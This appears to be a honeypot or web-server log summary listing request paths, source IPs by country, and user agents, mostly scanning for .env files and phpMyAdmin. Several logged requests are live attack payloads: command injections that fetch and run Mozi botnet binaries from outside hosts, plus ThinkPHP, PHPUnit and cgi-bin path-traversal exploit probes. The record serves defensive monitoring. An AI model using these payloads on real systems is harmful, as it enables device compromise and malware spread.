2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/hudson`	HTTP/1.1
1	GET	`/hunmj_serverApi/test.php`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
101	GET	`/phpmyadmin/`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//103[.]217[.]123[.]240:44523/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`http[:]//ip[.]ws[.]126[.]net/ipquery`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/robots.txt`	HTTP/1.0
2	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	t3	`12.2.1\n`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.121.10	Romania
1	4.17.224.132	United States
1	23.95.100.141	United States
5	23.236.147.154	Canada
1	27.6.207.225	India
40	35.153.50.191	United States
10	45.146.165.37	Russia
5	51.79.29.48	Canada
1	60.13.7.127	China
1	60.13.136.48	China
1	61.219.11.151	Taiwan
3	74.87.121.238	United States
1	85.202.169.113	Netherlands
133	93.55.169.238	Italy
2	94.232.43.63	Russia
2	104.41.143.95	United States
1	107.189.10.196	United States
1	110.177.179.84	China
4	111.13.63.84	China
1	112.66.111.61	China
1	112.80.138.132	China
1	112.248.244.216	China
1	113.206.196.217	China
1	114.99.241.115	China
1	115.198.201.33	China
1	117.15.93.236	China
1	118.108.130.35	Japan
1	122.234.134.159	China
1	124.160.236.75	China
2	137.74.176.168	France
1	139.162.145.250	Netherlands
2	147.124.218.66	United States
1	156.213.74.113	Egypt
2	157.230.216.203	United States
2	162.142.125.212	United States
1	167.248.133.63	United States
1	175.152.110.82	China
46	178.79.148.229	United States
1	178.239.21.85	Poland
1	182.138.137.10	China
8	185.254.196.223	Ukraine
1	192.241.213.13	United States
1	193.56.146.63	Russia
1	210.210.199.20	South Korea
3	222.186.19.207	China
1	223.149.240.49	China

UserAgent一覧

件数	UserAgent
31	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
4	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11`
20	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.01682558 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/537.36(KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36`
4	`PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3`
42	`curl/7.54.0`
1	`gbrmss/7.29.0`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
3		`\x03`
4		`\x16\x03\x01\x02`
1		`\x16\x03\x01`
1	CONNECT	`cn[.]bing[.]com:443`	HTTP/1.1
1	CONNECT	`ip[.]ws[.]126[.]net:443`	HTTP/1.1
1	CONNECT	`www[.]baidu[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]so[.]com:443`	HTTP/1.1
1	CONNECT	`www[.]voanews[.]com:443`	HTTP/1.1
19	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`//.well-known/security.txt`	HTTP/1.1
1	GET	`//robots[.]txt`	HTTP/1.1
1	GET	`//sitemap[.]xml`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2014/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2021/index.php?lang=en`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
2	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/admin.jsa`	HTTP/1.1
1	GET	`/admin.jsp`	HTTP/1.1
1	GET	`/admin.pl`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/pMA/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
4	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base.pl`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=user&psd=user`	HTTP/1.0
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
3	GET	`/database/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/default.html`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/home.pl`	HTTP/1.1
1	GET	`/index.asp`	HTTP/1.1
1	GET	`/index.cgi`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/index.jsa`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/index.pl`	HTTP/1.1
1	GET	`/indice.shtml`	HTTP/1.1
1	GET	`/inicio.jhtml`	HTTP/1.1
1	GET	`/inicio.pl`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/localstart.jsa`	HTTP/1.1
1	GET	`/localstart.jsp`	HTTP/1.1
1	GET	`/localstart.php`	HTTP/1.1
1	GET	`/localstart.pl`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/main.jsp`	HTTP/1.1
1	GET	`/main.php`	HTTP/1.1
1	GET	`/main.shtml`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/menu.html`	HTTP/1.1
1	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/nmaplowercheck1644706119`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
2	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
4	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phppma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2017/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2020/index.php?lang=en`	HTTP/1.1
4	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/pv/spa122.cfg`	HTTP/1.1
1	GET	`/readme.txt`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//114[.]99[.]241[.]115:59409/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shared/.env`	HTTP/1.1
5	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+net[.]joostjansen[.]ml/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
2	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/start.cgi`	HTTP/1.1
1	GET	`/start.jhtml`	HTTP/1.1
1	GET	`/start.php`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
2	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
2	GET	`http[:]//ip[.]ws[.]126[.]net/ipquery`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]minghui[.]org/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
2	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
2	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0